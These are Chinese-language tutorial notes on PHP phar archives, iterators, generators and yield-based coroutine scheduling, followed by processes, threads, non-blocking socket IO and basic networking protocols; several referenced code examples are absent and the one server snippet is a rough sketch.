3、归档文件中有一个存根文件,其实就是一段php执行代码,在制作归档时可以设置,直接执行归档文件时,其实就是执行它,所以它是启动文件;在脚本中包含归档文件时就像包含普通php文件一样包含它并运行,但直接以phar://的方式包含归档中某一个文件时不会执行存根代码,往往在存根文件里面require包含要运行的其他文件,对存根文件的限制仅为以__HALT_COMPILER();结束,默认的存根设计是为在没有phar扩展时能够运行,它提取phar文件内容到一个临时目录再执行,不过从php5.3开始该扩展默认内置启用了
4、制作的phar文件不能被改动,因此配置文件之类的文件需要另外放置在归档文件外面
5、mapPhar函数: 这个函数只应该在stub存根代码中调用,在没有设置归档别名的时候可以用来设置别名,打开一个引用映射到phar流
Iterator接口、Generator类、迭代生成器、yield关键字
数组和对象可以被foreach语法遍历,数字和字符串不行。其实除了数组和对象之外PHP内部还提供了一个Iterator即迭代器接口,实现了Iterator接口的对象也可以被foreach语句遍历,这个类对象就是ZEND_ITER_OBJECT即可迭代的,否则就是ZEND_ITER_PLAIN_OBJECT。 对于ZEND_ITER_PLAIN_OBJECT的类,foreach会获取该对象的默认属性数组,然后对该数组进行迭代。 而对于ZEND_ITER_OBJECT的类对象则会通过调用对象实现的Iterator接口相关函数来进行迭代。 PHP Iterator接口的作用是允许对象以自己的方式迭代内部的数据,从而使它可以被循环访问,Iterator接口摘要如下: 当一个实现了Iterator接口的对象被foreach遍历时会自动调用这些方法
常规实现range函数 PHP自带的range()函数原型: range (mixed $start ,mixed $end [,number $step = 1 ]): array 根据指定范围创建数组,包含指定的元素 不使用迭代器实现和PHP自带的range函数类似的功能,需要将生成的所有元素放在内存数组中,如果需要生成一个非常大的集合则会占用巨大的内存迭代器实现xrange函数,实现Iterator接口的5个方法,功能和range()一致,不同点在于迭代的是一个对象(Object)而不是数组,内存占用完全不同
range()函数在执行后占用了50W个元素内存空间,而xrange对象在整个迭代过程中只占用一个对象的内存 迭代器使用场景 使用返回迭代器的包或库时,如PHP5中的SPL迭代器 无法在一次调用获取所需的所有元素时 要处理数量巨大的元素时,如数据库中要处理的结果集内容超过内存 以迭代器的方式实现类似分页取的效果,同时避免了一次性取出所有数据占用太多的内存空间 迭代器是按需读取数据,foreach是一次性载入数据。PHP里面PDO,SimpleXML里面都有迭代器的具体实现,更完整的全部在SPL扩展部分 如pdo就对查询做了迭代处理,因此对pdo查询结果集的遍历基本没有内存开销,但如果用常规查询可能就是提示超出内存容量数据库遍历,可以结合游标,遍历数据库时,不需要一次返回所有数据,而是每次取一行
Generator,迭代生成器,可简单地用来实现对象的迭代
虽然迭代器仅需继承接口即可实现,但毕竟需要定义一个类然后实现接口的所有方法 迭代生成器也是一个函数,不同的是这个函数的返回值是依次返回,而不是只返回一个单独的值,生成器能更方便的实现了迭代器接口 生成器提供了一种更简单的方式来实现简单的对象迭代,相比定义类来实现Iterator接口的方式,性能开销和复杂度大大降低 生成器是一种可中断的函数,生成器函数的核心yield关键字构成了中断点,这个函数的返回值是依次返回,而不是只返回一个单独的值,生成器能更方便的实现迭代器接口 调用生成器时,生成器函数中的代码并没有真正执行,只是返回了一个迭代器,而这个迭代器实现了Iterator接口 调用迭代器的方法一次,其中的代码运行一次,例如调用$range->rewind(),那么xrange()里的代码就会运行到控制流第一次出现yield的地方,而函数内传递给yield语句的返回值可以通过$range->current()获取 为了继续执行生成器中yield后的代码,需要调用$range->next()方法,这将再次启动生成器,直到下一次yield语句出现,因此连续调用next()和current()方法就能从生成器里获得所有的值, 直到再没有yield语句出现 对xrange()来说,这种情形出现在$i超过$end时,在这中情况下控制流将到达函数的终点,因此将不执行任何代码,一旦这种情况发生vaild()方法将返回假,这时迭代结束 如果一个函数中用了yield,这个函数就是一个生成器,直接调用是没有用的,不能等同于一个函数那样去执行,调用方法如下: 1、foreach 2、send($value) 3、current / next... 生成器允许在foreach代码块中写代码来迭代一组数据而不需要在内存中创建一个数组,那会使内存达到上限或会占据可观的处理时间。可以写一个生成器函数,就像一个普通的自定义函数一样,和普通函数只返回一次不同的是,生成器可以根据需要通过yield关键字返回多次,以便连续生成需要迭代返回的值 这种方法的优点是可以在处理大数据集合的时候不用一次性的加载到内存中,甚至可以处理无限大的数据流 也可以不通过生成器来实现这个功能,而是可以通过继承Iterator接口实现,但通过使用生成器实现起来会更方便,不用再去实现iterator接口中的5个方法 yield会将当前产生的值传递给foreach,即foreach每一次迭代过程都会从yield处取一个值,直到整个遍历过程不再能执行到yield时遍历结束,此时生成器函数简单的退出,而调用生成器的上层代码还可以继续执行,就像一个数组已经被遍历完了 最简单的调用形式看起来像一个return申明,不同之处在于return返回一个值并终止函数的执行,yield关键字可以让函数在运行时中断暂停,同时会保存整个函数的上下文,返回一个Generator类型的对象。在循环遍历的代码中执行对象的next方法时会重新加载中断时的上下文继续运行,直到出现下一个yield为止,如果后面没有再出现yield就认为整个生成器结束了 暂停当前过程意味着将处理权转交由上一级继续进行,直到上一级再次调用被暂停的过程,该过程又会从上一次暂停的位置继续执行,这很像操作系统的进程调度,多个进程在一个CPU核心上执行,在系统调度下每一个进程执行一段指令就被暂停,切换到下一个进程,这样外部用户看起来就像是同时在执行多个任务。 yield除了可以返回值以外,还能通过send方法接收值,也就是可以在两个层级间实现双向通信。 调用生成器函数时函数里代码其实并没有真正地运行,只是返回了一个迭代器对象实例,而这个迭代器实现了Iterator接口,同时也包含了生成器对象自有的接口 调用迭代器的方法一次,其中的代码运行一次,例如如果调用$range->rewind(),那么xrange()里的代码就会运行到控制流第一次出现yield的地方,而函数内传递给yield语句的返回值可以通过$range->current()获取 为了继续执行生成器中yield后的代码,需要调用$range->next()方法,这将再次启动生成器,直到下一次yield语句出现,因此连续调用next()和current()方法就能从生成器里获得所有的值,直到再没有yield语句出现 yield的特性 1.yield只能用于函数内部,在非函数内部运用会抛出错误。 2.如果函数包含了yield关键字的,那么函数执行后的返回值永远都是一个Generator对象。 3.如果函数内部同时包含yield和return,该函数的返回值依然是Generator对象,但在生成Generator对象时return语句后的代码被忽略。 4.Generator类实现了Iterator接口。 5.可以通过返回的Generator对象内部的方法,获取到函数内部yield后面表达式的值。 6.可以通过Generator的send方法给yield关键字赋一个值。 7.一旦返回的Generator对象被遍历完成,便不能调用其rewind方法来重置 8.Generator对象不能被clone关键字克隆 一个简单的例子就是使用生成器重新实现range()函数生成一个等差数列数组,效果和用迭代器实现的差不多,但要简单的多 标准的range()函数要在内存中生成一个数组包含每一个在它范围内的值,然后返回该数组,结果会产生多个很大的数组,比如调用range(0,1000000)将导致内存占用超过100MB 做为一种替代方法,可以实现一个xrange()生成器,提供和PHP的内建函数range()一样的功能,只需要足够的内存来创建Iterator对象并在内部跟踪生成器的当前状态,这样只需要不到1K字节的内存,xrange()函数返回的是依次输出这些值的一个迭代器即Generator对象,而不会真正以数组形式返回生成器性能对比,memory_get_peak_usage(true)返回分配给PHP脚本的内存峰值字节数代码直接运行输出end,没出现死循环
包含yield的函数返回的对象被foreach遍历时,函数体内部的代码会被对应的执行。PHP会分析其内部的代码从而生成对应的Iterator接口的方法 key方法返回yield出现的次序,从0开始递增。 current方法是yield后面表达式的值。 valid方法则在当前yield语句存在时返回true,否则返回false。 next方法则执行从当前到下一个yield或return或函数结束之间的代码。Iterator接口在遍历时内部的执行流程
遍历开始时rewind被执行,由于第一个yield之前无任何语句,无任何输出。 key的值为yield出现的次序为0,current为yield表达式后的值即1。 foreach开始,valid因为当前为第一个yield,所以vaild返回true。正常输出0 - 1 此时next方法被执行,跳转到了第二个yield,第一个到第二个之间的代码被执行输出了i。 再次进入循环,执行vaild,由于当前在第二个yield上面,所以依然是true 由于next执行了,所以key的值也有刚刚的0变为了1,current的值为2,正常输出 1 - 2。 这时候继续执行next(),进入循环vaild()执行,由于此时到了第三个yield返回依然是true。key的值为2,yield为4。正常输出 2 - 4 再次执行next(),由于后续没有yield了vaild()返回为false,所以循环到此便终止了 如果在一个表达式上下文中使用yield,例如在一个赋值表达式的右侧,必须使用圆括号把yield申明包围起来 $data = (yield $value); 和之前生成简单值类型一样,在一个表达式上下文中生成键值对也需要使用圆括号进行包围 $data = (yield $key => $value);yield可以在没有参数传入的情况下被调用来生成一个NULL值并配对一个自动的键名yield生成一个键值对yield用来生成一些集合对象,将几个获取数据的操作都延迟到了数据被渲染的时候执行,节省了中间进行其他操作时获取回来的数据占用的内存空间。然而实际开发中这些数据往往被多处使用,而且这样的结构使单独控制数据变得艰难,以此带来的性能提升相对于便利性来说好处微乎其微
【 send() 】 public Generator::send ( mixed $value ) : mixed Send a value to the generator,Returns the yielded value send方法可以接受一个mixed类型的参数,也会返回一个mixed类型的值,传入的参数会被做yield关键字在语句中的值,而返回值则是next()之后$gen->current()的值 由于yield返回的是一个Generator类的对象,这个对象除了实现了Iterator接口的必要方法以外,还有一个send方法向yield语句处传递一个值,同时从yield语句处继续执行,直至再次遇到yield后控制权回到外部。 yield可以在其位置中断并返回或接收一个值,也可以同时进行接收和返回,这也是实现协程的根本 协程的支持是在迭代生成器的基础上,增加了可以回送数据给生成器的功能(调用者发送数据给被调用的生成器函数),这就把生成器到调用者的单向通信转变为两者之间的双向通信 传递数据的功能是通过迭代器的send()方法实现的,下面的logger()协程是这种通信如何运行的例子:yield作为接受者传递一个值给yielddebug调试: yield同时进行接收和发送debug调试: yield同时进行接收和发送
yield表达式两边的括号在PHP7以前不是可选的,在PHP5.5和PHP5.6中圆括号是必须的 调用current()之前没有调用rewind(),这是因为生成迭代对象的时候已经隐含地执行了rewind操作 current方法是迭代器Iterator接口必要的方法,foreach语句每一次迭代都会通过其获取当前值,而后调用迭代器next方法 为什么一个yield既是语句又是表达式,而且这两种情况还同时存在: 对于所有在生成器函数中出现的yield,首先它都是语句,而跟在yield后面的任何表达式的值将作为调用生成器函数的返回值,如果yield后面没有任何表达式(变量、常量都是表达式),那么它会返回NULL,这一点和return语句一致。 yield也是表达式,它的值就是send函数传过来的值(相当于一个特殊变量,只不过赋值是通过send函数进行的)。只要调用send方法,并且生成器对象的迭代并未终结,那么当前位置的yield就会得到send方法传递过来的值,这和生成器函数有没有把这个值赋值给某个变量没有任何关系。 任何时候yield关键词即是语句,可以为生成器函数返回值;也是表达式,可以接收生成器对象发过来的值。 除了send()方法,还有一种控制生成器执行的方法是next()函数: Next()恢复生成器函数的执行直到下一个yield Send()向生成器传入一个值,恢复执行直到下一个yield
当前的key为0,current则为1也就是yield后面表达式的值。因为yield 1被括号括起来了,所以yield后面表达式的值是1,如果没有括号则为1."I\n".当然因为1."I\n"是一个错误语法。如果想要测试的朋友需要给1加上双引号。 当执行next时,第1个yield到第二个yieldz之间的的语法被执行,也就是echo (yield 1)."I\n"被执行了,由于使用的是next(),所以yield当前是无值的。所以输出了I。需要注意的是在第一个yield之后的语法将不会被执行,而echo (yield 2). "II\n";属于下一个yield块的语句,所以不会被执行。
通过send方法成功的将一个值传递给了一个函数的内部,并且当做yield关键字的值给输出了,由于下一个yield的值为2,所以调用send返回的值为2,同样被输出 send可以完成内部对函数内部的yield表达式传值,可以通过$gen->current()获得当前yield表达式之后的值
输出5,因为current()为2,send之后yield的值为2 + 3,同时yield到函数结束之间的代码被执行,也就是$id = 5;echo $id; 通过这样一个简单的例子发现,不但从函数内部获得了返回值,并且将他的返回值再次发送给了函数内部参与后续的计算。 yield实现一个调度器使得只需要将gen()函数返回的gen对象传递给调度器,其内部的代码就能自动的执行,并且让利用yield来实现并行(伪),以及在多个$gen对象执行之间建立联系和控制其执行顺序
多进程 线程 协程
进程是二进制可执行文件在计算机内存里的一个运行实例,如.exe文件是个类,进程就是new出来的那个实例。 进程是计算机系统进行资源分配和调度的基本单位,每个CPU下同一时刻只能处理一个进程 所谓的并行,只不过是看起来并行,CPU事实上在用很快的速度切换不同的进程。 进程的切换需要进行系统调用,CPU要保存当前进程的各个信息,同时还会使CPUCache被废掉 进程被切换的条件是: 进程执行完毕、分配给进程的CPU时间片结束,系统发生中断需要处理,或者进程等待必要的资源(进程阻塞)等。前面几种情况自然没有什么话可说,但如果是在阻塞等待就浪费了。 其实阻塞的话程序还有其他可执行的地方可以执行,不一定要等,所以就有了线程。 线程简单理解就是一个微进程,专门跑一个函数(逻辑流),所以可以在编写程序的过程中将可以同时运行的函数用线程来体现了 线程有两种类型,一种是由内核来管理和调度。 只要涉及需要内核参与管理调度的,代价都是很大的。这种线程其实也就解决了当一个进程中某个正在执行的线程遇到阻塞,可以调度另外一个可运行的线程来跑,但是还是在同一个进程里,所以没有了进程切换。 还有另外一种线程,他的调度是由程序员自己写程序来管理的,对内核来说不可见,这种线程叫做用户空间线程 协程可以理解就是一种用户空间线程,有几个特点: 1、协同,因为是由程序员自己写的调度策略,其通过协作而不是抢占来进行切换,协程需要程序员自己去编写调度机制 2、在用户态完成创建,切换和销毁 3、从编程角度上看,协程的思想本质上就是控制流的主动让出(yield)和恢复(resume)机制 4、generator经常用来实现协程 最早的服务器端程序都是通过多进程、多线程来解决并发IO的问题。进程模型出现的最早,从Unix系统诞生就开始有了进程的概念。最早的服务器端程序一般都是Accept一个客户端连接就创建一个进程,然后子进程进入循环同步阻塞地与客户端连接进行交互,收发处理数据。 多线程模式出现要晚一些,线程与进程相比更轻量,而且线程之间共享内存堆栈,所以不同的线程之间交互非常容易实现。比如实现一个聊天室,客户端连接之间可以交互,聊天室中的玩家可以给任意的其他人发消息。用多线程模式实现非常简单,线程中可以直接向某一个客户端连接发送数据。而多进程模式就要用到管道、消息队列、共享内存等等统称进程间通信(IPC)复杂的技术才能实现。最简单的多进程服务端模型
$serv = stream_socket_server("tcp://0.0.0.0:8000",$errno,$errstr) or die("Create server failed");
while(1) {
$conn = stream_socket_accept($serv);
if (pcntl_fork() == 0) {
$request = fread($conn);
// do something
$response = "hello world";
fwrite($response);
fclose($conn);
exit(0);
}
}
多进程/线程模型的流程是: 创建一个socket,绑定服务器端口(bind),监听端口(listen),在PHP中用stream_socket_server一个函数就能完成上面3个步骤,当然也可以使用更底层的sockets扩展分别实现。 进入while循环,阻塞在accept操作上,等待客户端连接进入。此时程序会进入睡眠状态,直到有新的客户端发起connect到服务器,操作系统会唤醒此进程。accept函数返回客户端连接的socket,主进程在多进程模型下通过fork(php: pcntl_fork)创建子进程,多线程模型下使用pthread_create(php: new Thread)创建子线程 子进程创建成功后进入while循环,阻塞在recv(php:fread)调用上,等待客户端向服务器发送数据。收到数据后服务器程序进行处理然后使用send(php: fwrite)向客户端发送响应。长连接的服务会持续与客户端交互,而短连接服务一般收到响应就会close。 当客户端连接关闭时,子进程退出并销毁所有资源,主进程会回收掉此子进程 这种模式最大的问题是,进程创建和销毁的开销很大。所以上面的模式没办法应用于非常繁忙的服务器程序。对应的改进版解决了此问题,这就是经典的Leader-Follower模型
它的特点是程序启动后就会创建N个进程。每个子进程进入Accept等待新的连接进入。当客户端连接到服务器时,其中一个子进程会被唤醒,开始处理客户端请求,并且不再接受新的TCP连接。当此连接关闭时,子进程会释放,重新进入Accept,参与处理新的连接。 这个模型的优势是完全可以复用进程,没有额外消耗,性能非常好。很多常见的服务器程序都是基于此模型的,比如Apache、PHP-FPM。 多进程模型也有一些缺点。 这种模型严重依赖进程的数量解决并发问题,一个客户端连接就需要占用一个进程,工作进程的数量有多少,并发处理能力就有多少,操作系统可以创建的进程数量是有限的。 启动大量进程会带来额外的进程调度消耗。数百个进程时可能进程上下文切换调度消耗占CPU不到1%可以忽略不计,如果启动数千甚至数万个进程,消耗就会直线上升。调度消耗可能占到CPU的百分之几十甚至100%。 【 并行和并发 】 谈到多进程以及类似同时执行多个任务的模型就不得不先谈谈并行和并发。 并发(Concurrency)是指能处理多个同时活动的能力,并发事件之间不一定要同一时刻发生。 并行(Parallesim)是指同时刻发生的两个并发事件,具有并发的含义,但并发不一定并行。 区别 『并发』指的是程序的结构,『并行』指的是程序运行时的状态 『并行』一定是并发的,『并行』是『并发』设计的一种 单线程永远无法达到『并行』状态 正确的并发设计的标准是: 使多个操作可以在重叠的时间段内进行。 two tasks can start,run,and complete in overlapping time periods 【 协程(Coroutine) 】 PHP从5.5开始支持生成器及yield关键字,而PHP协程则由yield来实现,协程的支持是在迭代生成器的基础上,增加了通过迭代器的send()方法回送数据给生成器函数的功能,这就把生成器到调用者的单向通信转变为两者之间的双向通信 对于单核处理器,多进程实现多任务的原理是让操作系统给一个任务每次分配一定的CPU时间片,然后中断、让下一个任务执行一定的时间片接着再中断并继续执行下一个,如此反复。由于切换执行任务的速度非常快,给外部用户的感受就是多个任务的执行是同时进行的。 多进程的调度是由操作系统来实现的,进程自身不能控制自己何时被调度,即进程的调度是由外层调度器抢占式实现的 而协程要求当前正在运行的任务自动把控制权回传给调度器,这样就可以继续运行其他任务。这与抢占式的多任务正好相反,抢占多任务的调度器可以强制中断正在运行的任务,不管它自己有没有意愿。协作式多任务在Windows的早期版本(windows95)和Mac OS中有使用,不过它们后来都切换到抢占式多任务了。理由相当明确,如果仅依靠程序自动交出控制的话,那么一些恶意程序将会很容易占用全部CPU时间而不与其他任务共享。 协程的调度是由协程自身主动让出控制权到外层调度器实现的 协程和任务调度之间的关系: yield指令提供任务中断自身的方法,然后把控制交回给任务调度器,因此协程可以运行多个其他任务; 而PHP语言本身只是提供程序中断的功能,至于任务调度器需要自己实现,同时协程在运行多个其他任务时,yield还可以用来在任务和调度器之间进行通信 协程可以理解为纯用户态的线程,通过协作而不���抢占来进行任务切换。相对于进程或线程,协程所有的操作都可以在用户态而非操作系统内核态完成,创建和切换的消耗非常低。 简单的说协程就是提供一种方法来中断当前任务的执行,保存当前的局部变量,下次再过来又可以恢复当前局部变量继续执行。 可以把大任务拆分成多个小任务轮流执行,如果有某个小任务在等待系统IO就跳过它,执行下一个小任务,这样往复调度,实现了IO操作和CPU计算的并行执行,总体上就提升了任务的执行效率,这也便是协程的意义 要理解协程,首先要理解: 代码是代码,函数是函数。函数包裹的代码赋予了这段代码附加的意义: 不管是否显式的指明返回值,当函数内的代码块执行完后都会返回到调用层。而当调用层调用某个函数的时候必须等这个函数返回当前函数才能继续执行,这就构成了后进先出,也就是Stack。 而协程包裹的代码,不是函数,不完全遵守函数的附加意义,协程执行到某个点,协程会yield返回一个值然后挂起,而不是return一个值然后结束,当再次调用协程的时候会在上次yield的点继续执行。 所以协程违背了通常操作系统和x86的CPU认定的代码执行方式,也就是Stack的这种执行方式,需要运行环境(比如php,python的yield和golang的goroutine)自己调度来实现任务的中断和恢复,PHP是靠yield来实现。 总结yield能做的就是: 实现不同任务间的主动让位、让行,把控制权交回给任务调度器。 通过send()实现不同任务间的双向通信,也就可以实现任务和调度器之间的通信。 yield就是PHP实现协程的方式 【 协程多任务调度 - 使用协程来实施任务调度 】 一个简单但完整的例子展示如何具体的在PHP里实现协程任务的调度。哪里能用得到PHP协程,提高程序执行效率
【 与调度器之间通信 】 既然调度器已经运行了,那么看下一个问题: 任务和调度器之间的通信 将使用进程用来和操作系统会话的同样的方式来通信: 系统调用 需要系统调用的理由是操作系统与进程相比它处在不同的权限级别上,因此为了执行特权级别的操作(如杀死另一个进程)就不得不以某种方式把控制传回给内核,这样内核就可以执行所说的操作了,这种行为在内部是通过使用中断指令来实现的,过去使用的是通用的int指令,如今使用的是更特殊更快速的syscall/sysenter指令 任务调度系统将反映这种设计: 不是简单地把调度器传递给任务(这样就允许它做它想做的任何事),将通过给yield表达式传递信息来与系统调用通信,这儿yield即是中断,也是传递信息给调度器(和从调度器传递出信息)的方法. 为了说明系统调用,对可调用的系统调用做一个小小的封装
它和其他任何可调用的对象(使用_invoke)一样的运行,不过它要求调度器把正在调用的任务和自身传递给这个函数. 为了解决这个问题不得不微微的修改调度器的run方法第一个系统调用除了返回任务ID外什么都没有做
这个函数设置任务id为下一次发送的值,并再次调度了这个任务,由于使用了系统调用,所以调度器不能自动调用任务,需要手工调度任务(稍后你将明白为什么这么做).要使用这个新的系统调用的话,要重新编写以前的例子:
这段代码将给出与前一个例子相同的输出. 请注意系统调用如何同其他任何调用一样正常地运行,只不过预先增加了yield. 要创建新的任务,然后再杀死它们的话,需要两个以上的系统调用:killTask函数需要在调度器里增加一个方法用来测试新功能的微脚本
经过三次迭代以后子任务将被杀死,因此这就是"Child is still alive"消息结束的时候,不过这还不是真正的父子关系,因为在父任务结束后子任务仍然可以运行,子任务甚至可以杀死父任务,可以修改调度器使它具有更层级化的任务结构 现在可以实现许多进程管理调用,例如wait(它一直等待到任务结束运行时),exec(它替代当前任务)和fork(它创建一个当前任务的克隆),fork非常酷,而且可以使用PHP的协程真正地实现它,因为它们都支持克隆
【 协程非阻塞IO 】 任务管理系统的真正很酷的应用应该是web服务器,它有一个任务是在套接字上侦听是否有新连接,当有新连接要建立的时候它创建一个新任务来处理新连接 Web服务器最难的部分通常是像读数据这样的套接字操作是阻塞的,例如PHP将等待到客户端完成发送为止,对一个Web服务器来说,这有点不太高效,因为服务器在一个时间点上只能处理一个连接 解决方案是确保在真正对套接字读写之前该套接字已经准备就绪,为了查找哪个套接字已经准备好读或者写了,可以使用流选择函数 首先添加两个新的syscall,它们将等待直到指定socket准备好这些syscall只是在调度器中代理其各自的方法waitingForRead及waitingForWrite属性是两个承载等待的socket及等待它们的任务的数组,下面的方法将检查socket是否可用,并重新安排各自任务stream_select函数接受承载读取、写入及待检查的socket的数组,数组将按引用传递,函数只会保留那些状态改变了的数组元素,可以遍历这些数组,并重新安排与之相关的任务,为了正常地执行上面的轮询动作,将在调度器里增加一个特殊的任务
需要在某个地方注册这个任务,例如可以在run()方法的开始增加$this->newTask($this->ioPollTask()). 然后就像其他任务一样每执行完整任务循环一次就执行轮询操作一次(这么做一定不是最好的方法),ioPollTask将使用0秒的超时来调用ioPoll,也就是stream_select将立即返回(而不是等待) 只有任务队列为空时才使用null超时,这意味着它一直等到某个套接口准备就绪,如果没有这么做,那么轮询任务将一而再再而三的循环运行,直到有新的连接建立,这将导致100%的CPU利用率,相反让操作系统做这种等待会更有效 现在编写服务器就相对容易了:
这段代码实现了接收localhost:8000上的连接,然后返回发送来的内容作为HTTP响应,当然它还能处理真正的复杂HTTP请求,上面的代码片段只是演示了一般性的概念 可以使用类似于ab -n 10000 -c 100 localhost:8000/命令来测试服务器,这条命令将向服务器发送10000个请求,并且其中100个请求将同时到达,使用这样的数目得到了处于中间的10毫秒的响应时间,不过还有一个问题: 有少数几个请求真正处理的很慢(如5秒),这就是为什么总吞吐量只有2000请求/秒(如果是10毫秒的响应时间的话,总的吞吐量应该更像是10000请求/秒) 【 协程堆栈 】 如果试图用调度系统建立更大的系统的话,将很快遇到问题: 习惯了把代码分解为更小的函数然后调用它们,然而如果使用了协程的话就不能这么做了在一个协程函数中嵌套另一个协程函数
这段代码试图把重复循环输出n次的代码嵌入到一个独立的协程里,然后从主任务里调用它,然而它无法运行
调用生成器或协程将没有真正地做任何事情,它仅仅返回一个对象,这也出现在上面的例子里:echoTimes调用除了放回一个(无用的)协程对象外不做任何事情
为了仍然允许这么做,要在这个裸协程上写一个小小的封装,将调用它协程堆栈,因为它将管理嵌套的协程调用堆栈,这将是通过生成协程来调用子协程成为可能:
$retval = (yield someCoroutine($foo,$bar));
使用yield,子协程也能再次返回值:
yield retval("I'm a return value!");
retval函数除了返回一个值的封装外没有做任何其他事情,这个封装将表示它是一个返回值
为了把协程转变为协程堆栈(它支持子调用),将不得不编写另外一个函数(很明显,它是另一个协程)这个函数在调用者和当前正在运行的子协程之间扮演着简单代理的角色,在$gen->send(yield $gen->key()=>$value);这行完成了代理功能,另外它检查返回值是否是生成器,万一是生成器的话,它将开始运行这个生成器,并把前一个协程压入堆栈里,一旦它获得了CoroutineReturnValue的话,它将再次请求堆栈弹出,然后继续执行前一个协程 为了使协程堆栈在任务里可用,任务构造器里的$this-coroutine =$coroutine;这行需要替代为$this->coroutine = StackedCoroutine($coroutine);. 现在可以稍微改进上面web服务器例子: 把wait+read(和wait+write和warit+accept)这样的动作分组为函数,为了分组相关的功能,将使用下面类:现在服务器可以编写的稍微简洁点了
【 错误处理 】 上面的例子缺少错误处理,几乎所有的socket都是易出错的,没有这样做的原因一方面固然是因为错误处理的乏味(特别是socket),另一方面也在于它很容易使代码体积膨胀 常见的协程错误处理 协程允许使用throw()方法在其内部抛出一个错误,throw()方法接受一个Exception,并将其抛出到协程的当前悬挂点这非常好,因为现在可以使用系统调用以及子协程调用异常抛出了,不过要对系统调用Scheduler::run()方法做一些小调整Task类也要添加throw调用处理现在已经可以在系统调用中使用异常抛出了,例如要调用killTask,在传递ID不可用时抛出一个异常试试看这些代码现在尚不能正常运作,因为stackedCoroutine函数无法正确处理异常,要修复需要做些调整
若想真正的发挥出协程的作用,那一定是在一些涉及到阻塞IO的场景 Web服务器最耗时的部分通常都是socket读取数据等操作上,如果进程对每个请求都挂起的等待IO操作,那处理效率就太低了,接下来看个支持非阻塞IO的Scheduler:
这个版本的Scheduler里加入一个永不退出的任务,并且通过stream_select支持的特性来实现快速的来回检查各个任务的IO状态,只有IO完成的任务才会继续执行,而IO还未完成的任务则会跳过 也就是说任务交替执行的过程中,一旦遇到需要IO的部分,调度器就会把CPU时间分配给不需要IO的任务,等到当前任务遇到IO或之前的任务IO结束才再次调度CPU时间,以此实现CPU和IO并行来提升执行效率 【 单任务改造 】 如果想将一个单进程任务改造成并发执行,可以选择改造成多进程或协程: 多进程,不改变任务执行的整体过程,在一个时间段内同时执行多个相同的代码段,调度权在CPU,如果一个任务能独占一个CPU则可以实现并行。 协程,把原有任务拆分成多个小任务,原有任务的执行流程被改变,调度权在进程自己,如果有IO并且可以实现异步则可以实现并行。
Socket套接字 - socket编程
socket中文名字叫做套接字,是对TCP/IP的"封装"。现实中的网络实际上只有四层而已,从上至下分别是应用层、传输层、网络层、数据链路层。最常用的http协议则是属于应用层的协议,而socket可以简单粗暴的理解为是传输层的一种东西。如果还是很难理解,那再粗暴地点儿tcp://218.221.11.23:9999这就是一个tcp socket。
socket赋予操控传输层和网络层的能力,得到更强的性能和更高的效率,socket编程是解决高并发网络服务器的最常用解决和成熟的解决方案
Socket编程其实就是建立一个网络服务的客户端和服务端,这和MySQL客户端和服务端是一样的。首先服务器建立socket套接字,绑定IP、端口,同时保持监听状态。然后客户端创建Socket套接字,与服务器建立连接
php可以操控socket的函数一共有两套,一套是socket_系列的函数,另一套是stream_系列的函数。socket_是php直接将C语言中的socket抄了过来得到的实现,而stream_系则是php使用流的概念将其进行了一层封装
Socket是操作系统内核中的一个数据结构,它是网络中的节点进行相互通信的门户,是网络进程的ID
网络通信归根到底还是进程间的通信,不同计算机上的进程间通信,又称进程间通信,IP协议进行的主要是端到端通信
在网络中每一个节点(计算机或路由)都有一个网络地址,即IP地址
两个进程通信时首先要确定各自所在的网络节点的网络地址,但是网络地址只能确定进程所在的计算机,而一台计算机上很可能同时运行着多个进程,所以仅凭网络地址还不能确定到底是和网络中的哪一个进程进行通信,因此套接口中还需要包括其他的信息,即端口号(PORT)
在一台计算机中一个端口号一次只能分配给一个进程,即在一台计算机中端口号和进程之间是一一对应关系,所以使用端口号和网络地址的组合可以唯一的确定整个网络中的一个网络进程
端口号的范围从0~65535,一类是由互联网指派名字和号码公司ICANN负责分配给一些常用的应用程序固定使用的端口,其值一般为0~1023,用户自定义端口号一般大于等于1024,如常用的8888、8080
一个socket都用一个相关描述{协议、本地地址、本地端口}来表示;
一个完整的套接字则用一个相关描述{协议、本地地址、本地端口、远程地址、远程端口}来表示
socket也有一个类似于打开文件的函数调用,该函数返回一个整型的socket描述符,随后连接建立、数据传输等操作都是通过socket来实现
客户端/服务器架构: C/S架构是基于网络通信的,网络的核心即一堆网络协议,也就是协议标准
socket编程就是建立一个网络服务的客户端和服务端,这和mysql的客户端和服务端是一样的
socket建立连接的过程是与mysql的客户端和服务端的连接本质是一样的,不同的是mysql的服务端和客户端都已经编辑好了,只要应用就行
socket是应用层与TCP/IP协议通信的中间软件抽象层,它是一组接口,socket是基于TCP和UDP协议
在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在Socket接口后面,
对用户来说,一组简单的接口就是全部,让Socket去组织数据,以符合指定的协议,所以无需深入理解tcp/udp协议,socket已经封装好了,只需要遵循socket的规定去编程,写出的程序自然就是遵循tcp/udp标准的
阻塞方式block就是进程或线程执行到这些函数时必须等待某个事件的发生,如果事件没有发生进程或线程就被阻塞,函数不能立即返回;如connect、accept、recv或recvfrom
非阻塞方式non- block就是进程或线程执行此函数时不必非要等待事件的发生,一旦执行马上返回,以返回值的不同来反映函数的执行情况,
如果事件发生则与阻塞方式相同,若事件没有发生则返回一个代码来告知事件未发生,而进程或线程继续执行,所以效率较高;
使用Select就可以完成非阻塞方式工作的程序,它能够监视需要监视的文件描述符的变化情况读写或异常
应该使用命令提示符来运行socket服务端脚本,因为这里将产生一个服务器,而不是一个Web页面
如果尝试使用Web浏览器来运行这个脚本,那么很有可能它会超过30秒的限时
可以使用set_time_limit(0)代码来设置一个无限的运行时间,但是还是建议使用命令提示符来运行
运行这个服务器端的时候,能够通过远程登陆(telnet)的方式连接到端口1337来测试这个服务器
常见协议
1、icmp Internet Control Message Protocol 互联网控制消息协议
主要用于网关和主机报告错误的数据通信,检查网络状况,例如"ping"命令就是使用ICMP协议实现的。
2、udp User Datagram Protocol 用户数据报文协议
是一个无连接的、不可靠的、具有固定最大长度的报文协议。由于这些特性UDP协议拥有最小的协议开销。
与TCP相对应的协议。它是属于TCP/IP协议族中的一种
3、tcp Transmission Control Protocol 传输控制协议
是一个可靠的、基于连接的、面向数据流的全双工协议。TCP能够保障所有的数据包是按照其发送顺序而接收的。如果任意数据包在通讯时丢失,TCP将自动重发数据包直到目标主机应答已接收。因为可靠性和性能的原因,TCP在数据传输层使用8bit字节边界。因此TCP应用程序必须允许传送部分报文的可能。使用最多的可靠的公共协议
